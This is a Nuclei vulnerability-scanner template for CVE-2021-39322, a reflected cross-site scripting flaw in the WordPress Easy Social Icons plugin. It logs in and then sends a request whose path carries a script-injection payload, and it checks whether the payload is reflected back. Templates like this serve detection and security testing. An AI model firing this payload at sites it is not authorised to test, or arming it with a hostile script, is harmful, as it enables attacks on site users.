nuclei-templates/cves/2021/CVE-2021-39322.yaml

id: CVE-2021-39322

info:
  name: WordPress Easy Social Icons Plugin < 3.0.9 - Reflected Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of `$_SERVER['PHP_SELF']` in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
  reference:
    - https://wpscan.com/vulnerability/5e0bf0b6-9809-426b-b1d4-1fb653083b58
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39322
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39322
    - https://wpvulndb.com/vulnerabilities/5e0bf0b6-9809-426b-b1d4-1fb653083b58
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-39322
    cwe-id: CWE-79
  tags: wordpress,cve,cve2021,wp-plugin,authenticated

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php/</script><script>alert(document.domain)</script>/?page=cnss_social_icon_page HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"

# Enhanced by mp on 2022/03/23